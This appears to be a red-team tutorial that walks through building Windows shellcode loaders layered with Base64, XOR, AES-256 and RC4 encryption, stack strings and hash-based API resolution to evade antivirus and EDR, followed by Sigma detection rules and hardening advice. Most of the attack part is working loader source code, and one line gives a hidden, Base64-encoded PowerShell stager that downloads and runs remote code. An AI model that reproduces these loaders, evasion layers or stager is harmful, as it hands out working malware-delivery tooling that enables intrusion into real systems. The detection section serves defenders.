Obfuscation Techniques: String Encoding, XOR, and Payload Encryption

Objective: Build a shellcode loader from source that layers Base64, XOR, RC4, and AES-256 obfuscation against a benign lab payload, then show exactly why each layer trips (or slides past) modern signature engines and Windows telemetry.

The most common mistake I see students make with this material is treating it as a crypto course. It isn’t. The XOR loop you’re about to write can be broken in a few seconds by any competent analyst. That’s fine. That’s the point. What matters is that the malicious byte pattern (a msfvenom windows/x64/exec blob, the literal string VirtualAllocEx, a beacon config) is not sitting in the PE’s .rdata when the AV signature engine runs its YARA sweep, and that the loader’s Import Address Table doesn’t scream “shellcode runner” to a triage analyst who has 90 seconds before the next ticket. Every layer below serves that one goal.

One quick lab-integrity note before we start: everything in this tutorial runs against a msfvenom payload that pops calc.exe. No C2, no network, no persistence. The training value is the loader plumbing, not the payload.

1. Threat Model: What Obfuscation Actually Buys You

Static AV engines score binaries on three cheap signals: known byte patterns (YARA), suspicious import combinations (VirtualAlloc + CreateThread + WriteProcessMemory in a 20KB console app is a giveaway), and entropy anomalies. Behavioural engines and EDR layer on top: user-mode API hooks, kernel callbacks (PsSetCreateProcessNotifyRoutineEx), ETW providers, AMSI.

Encoding and encryption only defeat the first two. They do nothing about the runtime behaviour: your CreateThread on freshly-allocated RWX memory still fires an EDR callback whether the source bytes came from AES or a plain array. Which is why the mature loaders you see in the wild pair obfuscation with syscalls, unhooking, or process injection into a signed host. This tutorial covers the obfuscation half; the runtime-evasion half is a separate discipline.

2. Lab Setup and the Baseline Loader

Two Windows 10 or 11 VMs, snapshotted. One “attacker” build box with MSVC (cl.exe from a Developer Command Prompt) and Python 3. One “victim” box with Sysmon installed using SwiftOnSecurity’s config, PowerShell Script Block Logging enabled, and Windows Defender turned on (real-time protection off during compile-scan iterations, back on for the final detonation).

Generate the payload once:

msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
msfvenom -p windows/x64/exec CMD=calc.exe -f c -v sc > calc_sc.h

The unobfuscated baseline loader looks like this. Save as baseline_loader.c:

#include <windows.h>

// Paste the msfvenom -f c output here (declares `unsigned char sc[]`).
unsigned char sc[] = {
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
    /* ... remainder of msfvenom windows/x64/exec CMD=calc.exe bytes ... */
    0xc3
};

int main(void) {
    LPVOID mem = VirtualAlloc(NULL, sizeof(sc),
                              MEM_COMMIT | MEM_RESERVE,
                              PAGE_EXECUTE_READWRITE);
    memcpy(mem, sc, sizeof(sc));
    HANDLE ht = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)mem,
                             NULL, 0, NULL);
    WaitForSingleObject(ht, INFINITE);
    return 0;
}

Compile: cl /nologo baseline_loader.c /Fe:baseline.exe

Drop it in %TEMP%, disable real-time protection for a moment, run MpCmdRun.exe -Scan -ScanType 3 -File C:\Users\lab\AppData\Local\Temp\baseline.exe. Defender flags it on the shellcode bytes alone. Good. That’s the delta we’re going to close.

3. String Encoding: Base64 and Stack Strings

Base64 is not encryption. It is a transport encoding. Attackers use it because it moves binary payloads through text-only channels (PowerShell -EncodedCommand, HTTP headers, DNS TXT records) without escaping headaches, and because a Base64 blob doesn’t match a YARA rule written for the raw payload.

In C, the round-trip goes through Crypt32.dll:

#include <windows.h>
#include <wincrypt.h>
#pragma comment(lib, "crypt32.lib")

// Decode a Base64 string in-place-ish. Returns malloc'd buffer.
BYTE* b64_decode(const char *b64, DWORD *outlen) {
    DWORD needed = 0;
    CryptStringToBinaryA(b64, 0, CRYPT_STRING_BASE64,
                         NULL, &needed, NULL, NULL);
    BYTE *buf = (BYTE*)malloc(needed);
    CryptStringToBinaryA(b64, 0, CRYPT_STRING_BASE64,
                         buf, &needed, NULL, NULL);
    *outlen = needed;
    return buf;
}

Stack strings are the other half of this section. A string literal like "kernel32.dll" lands in .rdata and shows up in strings.exe output. Assemble it a byte at a time on the stack, and it never exists as a contiguous literal in the file:

// Instead of:  const char *dll = "kernel32.dll";
char dll[13];
dll[0]='k'; dll[1]='e'; dll[2]='r'; dll[3]='n';
dll[4]='e'; dll[5]='l'; dll[6]='3'; dll[7]='2';
dll[8]='.'; dll[9]='d'; dll[10]='l'; dll[11]='l';
dll[12]=0;

Ugly, but the string only exists in the compiled binary as a sequence of mov byte ptr [rsp+N], imm8 instructions. FLOSS from Mandiant can reconstruct these; plain strings cannot.

Same principle for PowerShell stagers, from the operator’s laptop:

$cmd = "IEX (New-Object Net.WebClient).DownloadString('http://lab/x')"
$enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand $enc

Note the UTF-16LE encoding: -EncodedCommand requires it, and getting it wrong is one of the top three reasons a stager silently no-ops. This is exactly the pattern Sigma rules target on Event ID 4688 command-line auditing, which we’ll come back to.

4. XOR: The Universal Signature Bypass

XOR is its own inverse, so one function handles both encryption and decryption. That property is why XOR appears in Mirai, in Emotet loaders, and in half of every red team engagement report you’ll read. It costs nothing at runtime and it kills static byte signatures.

Offline encryptor (xor_encrypt.py):

import sys
key = b"G3nXCyb3r"
data = open(sys.argv[1], "rb").read()
enc = bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
out = ",".join(f"0x{b:02x}" for b in enc)
print(f"unsigned char enc_sc[] = {{ {out} }};")
print(f"// len = {len(enc)}")

Run: python xor_encrypt.py calc.bin > enc_sc.h

Here’s the war story I owe you. First time I built one of these, I picked a key that started with 0x00. The first byte of msfvenom’s windows/x64/exec stub is 0xfc. XOR against a leading null gives you back 0xfc. Which means byte one of my “encrypted” shellcode was still the plaintext byte. Defender caught it. Half a day of staring at hexdumps before I realized the encoder was fine and my key was garbage. Rule: never let your XOR key contain 0x00, and never let it contain the byte that appears most often in your plaintext (typically 0x00 again for shellcode). Print your ciphertext, eyeball the entropy, don’t trust the loop.

Loader (xor_loader.c):

#include <windows.h>

// Paste the xor_encrypt.py output here (declares `unsigned char enc_sc[]`).
unsigned char enc_sc[] = {
    0xbf, 0x2b, 0xe0, 0x8f, 0x83,
    /* ... remainder of xor-encrypted shellcode bytes ... */
    0xa4
};

static const unsigned char key[] = "G3nXCyb3r";

static void xor_buf(BYTE *buf, SIZE_T len, const BYTE *k, SIZE_T klen) {
    for (SIZE_T i = 0; i < len; i++) buf[i] ^= k[i % klen];
}

int main(void) {
    SIZE_T len = sizeof(enc_sc);
    LPVOID mem = VirtualAlloc(NULL, len,
                              MEM_COMMIT | MEM_RESERVE,
                              PAGE_READWRITE);
    memcpy(mem, enc_sc, len);
    xor_buf((BYTE*)mem, len, key, sizeof(key) - 1);

    DWORD old;
    VirtualProtect(mem, len, PAGE_EXECUTE_READ, &old);
    HANDLE ht = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)mem,
                             NULL, 0, NULL);
    WaitForSingleObject(ht, INFINITE);
    return 0;
}

Two details worth noting. First, allocate as PAGE_READWRITE and flip to PAGE_EXECUTE_READ after decryption. Allocating PAGE_EXECUTE_READWRITE up front is a red flag every EDR looks for; the two-step pattern reads more like a JIT and gets fewer hits. Second, WaitForSingleObject keeps the process alive so calc actually pops before the loader exits.

Verify in WinDbg: set bp kernel32!VirtualProtect, hit the breakpoint, dd mem L20 shows the plaintext shellcode in memory even though the on-disk .data section is scrambled. This is why memory scanning (pe-sieve, Moneta) still catches the naive version. Obfuscation is not runtime evasion.

5. AES-256 via the Windows CryptoAPI

XOR is fine for byte-level obfuscation, but the on-disk entropy of a good XOR blob is still uneven, and static-analysis tools flag repeating-key XOR quickly. AES gives you flat, high-entropy ciphertext and uses APIs Windows itself calls constantly (Defender, Chrome, half the OS), so advapi32!CryptEncrypt is not by itself suspicious.

Key APIs and their ALG_ID values:

The decryption stub in the loader (aes_loader.c, excerpted; the full listing lives in the lab repo):

#include <windows.h>
#include <wincrypt.h>
#pragma comment(lib, "advapi32.lib")

// enc_sc[] is emitted by the offline aes_encryptor tool. Its length is
// taken with sizeof() at runtime and passed to CryptDecrypt by pointer.
unsigned char enc_sc[] = {
    0x8a, 0x1d, 0x4f, 0x7b, 0xe2,
    /* ... remainder of AES-256 ciphertext (multiple of 16 bytes) ... */
    0x11
};

BOOL aes_decrypt(BYTE *buf, DWORD *len, const char *pw) {
    HCRYPTPROV hProv = 0;
    HCRYPTHASH hHash = 0;
    HCRYPTKEY  hKey  = 0;
    BOOL ok = FALSE;

    if (!CryptAcquireContextA(&hProv, NULL, NULL, PROV_RSA_AES,
                              CRYPT_VERIFYCONTEXT)) goto done;
    if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) goto done;
    if (!CryptHashData(hHash, (BYTE*)pw, (DWORD)strlen(pw), 0)) goto done;
    if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) goto done;
    if (!CryptDecrypt(hKey, 0, TRUE, 0, buf, len)) goto done;

    ok = TRUE;
done:
    if (hKey)  CryptDestroyKey(hKey);
    if (hHash) CryptDestroyHash(hHash);
    if (hProv) CryptReleaseContext(hProv, 0);
    return ok;
}

int main(void) {
    DWORD len = (DWORD)sizeof(enc_sc);
    LPVOID mem = VirtualAlloc(NULL, len + 32,
                              MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    memcpy(mem, enc_sc, len);
    if (!aes_decrypt((BYTE*)mem, &len, "GenXCyberAES256!")) return 1;

    DWORD old;
    VirtualProtect(mem, len, PAGE_EXECUTE_READ, &old);
    HANDLE ht = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)mem,
                             NULL, 0, NULL);
    WaitForSingleObject(ht, INFINITE);
    return 0;
}

Two gotchas. CryptDecrypt needs the buffer to be a multiple of the AES block size (16 bytes), so pad the shellcode and allocate a few extra bytes in VirtualAlloc. And CryptDeriveKey uses a CSP-internal key derivation from the hash bytes; it isn’t PBKDF2, so don’t reuse this scheme anywhere it matters. For the loader use case, it’s fine.

The offline aes_encryptor.c is the mirror image: CryptEncrypt in place of CryptDecrypt. Both share the same key-derivation path, so as long as the password and the ALG_IDs match, the ciphertext round-trips cleanly.

6. RC4 via the Undocumented SystemFunction033

advapi32.dll exports a handful of undocumented crypto helpers (SystemFunction001 through 036). SystemFunction033 is a straight RC4 wrapper. Same routine encrypts and decrypts, so you can generate ciphertext on the attacker box using the same function you ship in the loader. No IV, no padding, no CryptoAPI dance.

#include <windows.h>

typedef struct {
    ULONG  Length;
    ULONG  MaximumLength;
    PUCHAR Buffer;
} ustring;

typedef NTSTATUS (WINAPI *SystemFunction033_t)(ustring*, ustring*);

int main(void) {
    HMODULE h = LoadLibraryA("advapi32.dll");
    SystemFunction033_t rc4 =
        (SystemFunction033_t)GetProcAddress(h, "SystemFunction033");

    unsigned char enc_sc[] = { /* rc4-encrypted bytes */ };
    unsigned char key_b[]  = "GenXCyberRC4";

    ustring data = { sizeof(enc_sc), sizeof(enc_sc), enc_sc };
    ustring key  = { sizeof(key_b)-1, sizeof(key_b)-1, key_b };

    rc4(&data, &key);   // in-place decrypt

    LPVOID mem = VirtualAlloc(NULL, sizeof(enc_sc),
                              MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    memcpy(mem, enc_sc, sizeof(enc_sc));
    DWORD old;
    VirtualProtect(mem, sizeof(enc_sc), PAGE_EXECUTE_READ, &old);
    HANDLE ht = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)mem,
                             NULL, 0, NULL);
    WaitForSingleObject(ht, INFINITE);
    return 0;
}

The interesting property here is that SystemFunction033 doesn’t appear anywhere in wincrypt.h, doesn’t show up in most IAT scanners’ “suspicious API” heuristics, and the string SystemFunction033 in your binary is much less alarming to a triage analyst than CryptEncrypt. It’s a small win, but on a mature stack every string that doesn’t scream “malware” matters.

Because this is undocumented, verify behaviour in your target build of Windows before relying on it. Microsoft can and does change these exports across servicing branches.

7. Dynamic API Resolution: Killing the IAT

One of the fastest ways an analyst triages a 40KB binary is by grepping the imports. If they see VirtualAlloc, VirtualProtect, CreateThread, WriteProcessMemory, CreateRemoteThread, they open Ghidra. If they see printf and MessageBoxA, they close the tab.

Dynamic resolution moves those imports out of the IAT and into runtime lookups. The canonical pattern:

1. XOR-encrypt the DLL names and function names at build time.
2. At runtime, decrypt one at a time, LoadLibraryA the DLL, GetProcAddress the function, cache the pointer, zero the plaintext string.
3. Better: hash the function names (djb2, ROR13) and walk the loaded module’s Export Address Table matching hashes. Now the plaintext function name never exists in the loader at all.

Sketch of the hash-walk approach:

DWORD ror13(const char *s) {
    DWORD h = 0;
    while (*s) { h = (h >> 13) | (h << 19); h += (BYTE)*s++; }
    return h;
}

FARPROC resolve_by_hash(HMODULE mod, DWORD target) {
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)mod;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)((BYTE*)mod + dos->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)mod +
        nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
           .VirtualAddress);

    DWORD *names = (DWORD*)((BYTE*)mod + exp->AddressOfNames);
    WORD  *ords  = (WORD*) ((BYTE*)mod + exp->AddressOfNameOrdinals);
    DWORD *funcs = (DWORD*)((BYTE*)mod + exp->AddressOfFunctions);

    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
        const char *name = (const char*)mod + names[i];
        if (ror13(name) == target)
            return (FARPROC)((BYTE*)mod + funcs[ords[i]]);
    }
    return NULL;
}

Pre-compute the hashes on the attacker box (ror13("VirtualAlloc") = 0x91AFCA54, and so on) and embed the constants. Your loader’s IAT now imports maybe kernel32!LoadLibraryA and kernel32!GetProcAddress if you want a starting point, or nothing at all if you resolve those too by walking the PEB’s Ldr list. This is the exact primitive MITRE catalogued as T1027.007.

8. Stacking the Layers

The individual techniques above are cheap. The value is in the stack. A realistic loader for a lab exercise chains at least three:

calc.bin
  -> XOR (offline)
  -> AES-256 (offline)
  -> Base64 (offline, stored as a wide string in the loader)

runtime:
  Base64 decode
  -> AES-256 decrypt (via CryptoAPI, resolved by hash)
  -> XOR decrypt (inline)
  -> VirtualAlloc RW, memcpy, VirtualProtect RX, CreateThread

Each layer changes the on-disk fingerprint, so recompiling with a new AES password produces a genuinely different binary. Rotate the XOR key on each build and the outer Base64 alphabet if you want to burn cycles. This is the poor-man’s polymorphism: the decryption code is stable but the ciphertext is fresh, so YARA rules written against a captured sample won’t hit the next build.

Check entropy with ent enc_sc.bin after each layer. Raw msfvenom windows/x64/exec sits around 6.0 bits/byte. Post-XOR climbs to ~7.5. Post-AES flattens to ~7.99. That last number is also what defenders’ entropy YARA rules look for, which brings us to detection.

9. Detection and Defense

Everything above defeats naive static scanning. It does not defeat behavioural telemetry, and the honest answer to “why did my Cobalt Strike beacon get caught anyway” is almost always in one of these signals.

Sysmon and Security Event Log

Event ID 4104 is the single highest-value log source on this list. AMSI plus 4104 means that a Base64-encoded PowerShell stager, even one that unpacks two layers of Invoke-Obfuscation output, still ends up in the event log as readable script content just before execution.

Sigma Rule Sketches

Encoded PowerShell command-line stager:

title: PowerShell Encoded Command Stager
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\powershell.exe'
        CommandLine|contains:
            - ' -enc '
            - ' -EncodedCommand '
            - 'FromBase64String'
            - '::Unicode.GetString'
    condition: selection
tags:
    - attack.defense_evasion
    - attack.t1027.010
    - attack.t1059.001
level: high

Loader dropped to a user-writable path pulling in CryptoAPI:

title: Suspicious advapi32 Load From User Writable Path
logsource:
    category: image_load
    product: windows
detection:
    selection:
        ImageLoaded|endswith: '\advapi32.dll'
        Image|contains:
            - '\AppData\Local\Temp\'
            - '\Users\Public\'
            - '\ProgramData\'
    filter:
        Image|endswith:
            - '\powershell.exe'
            - '\pwsh.exe'
    condition: selection and not filter
tags:
    - attack.defense_evasion
    - attack.t1027.013
level: medium

Memory Scanning

A YARA rule using math.entropy() against .data and .rdata sections is the standard opening move. Anything above 7.5 bits/byte on a section that’s more than a few KB is packed or encrypted until proven otherwise. Pe-sieve and Moneta both dump suspicious executable regions and diff them against the on-disk PE, catching the runtime-decrypted shellcode you saw in WinDbg in section 4. That is the reason obfuscation without runtime evasion is a half-measure.

Hardening

• Enable command-line auditing GPO for Event 4688: Computer Configuration > Administrative Templates > System > Audit Process Creation > Include command line.
• Enable PowerShell Script Block Logging: HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging\EnableScriptBlockLogging = 1.
• Deploy Sysmon with SwiftOnSecurity or Olaf Hartong’s base config; watch Events 1, 7, 8, 10.
• Turn on the ASR rule “Block execution of potentially obfuscated scripts” (5BEB7EFE-FD9A-4556-801D-275E5FFC04CC).
• Monitor for AMSI tampering: AmsiScanBuffer patching in memory is a canary for evasion attempts, and EDRs increasingly ship a rule for it.

10. Tools

11. MITRE ATT&CK Mapping

Summary

• Obfuscation is a static-signature problem, not a crypto problem. XOR is broken and still works, because “works” means “not in the file as literal bytes.”
• Base64 and stack strings kill the cheapest analyst wins: strings.exe and grep-the-IAT triage.
• CryptoAPI (CryptEncrypt/CryptDecrypt, CALG_AES_256) and SystemFunction033 give you flat-entropy ciphertext using APIs that don’t scream malware.
• Dynamic API resolution via export-hash walks (T1027.007) is where the IAT-scanning signature genre goes to die.
• Detection lives in the telemetry the loader can’t hide from: Sysmon Events 1/7/8/10, Security Event 4688 with command-line auditing, and PowerShell Event 4104 script block logging.
• Obfuscation without runtime evasion is a half-loader. Memory scanning (pe-sieve, Moneta) still recovers the plaintext shellcode you decrypted in RWX. Plan the next layer accordingly.

Related Tutorials

• Shellcode Encoders: XOR Encoding, Custom Decoders, and Avoiding Bad Chars
• Egghunters: Staged Payload Delivery When Buffer Space Is Tight
• Phishing Campaign Design: Pretexting, Lures, and Target Profiling
• Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
• Introduction to MITRE ATT&CK: Structure, Tactics, Techniques, and Sub-Techniques

References

• attack.mitre.org
• attack.mitre.org
• attack.mitre.org
• attack.mitre.org
• www.picussecurity.com
• www.manageengine.com
• inventivehq.com
• arxiv.org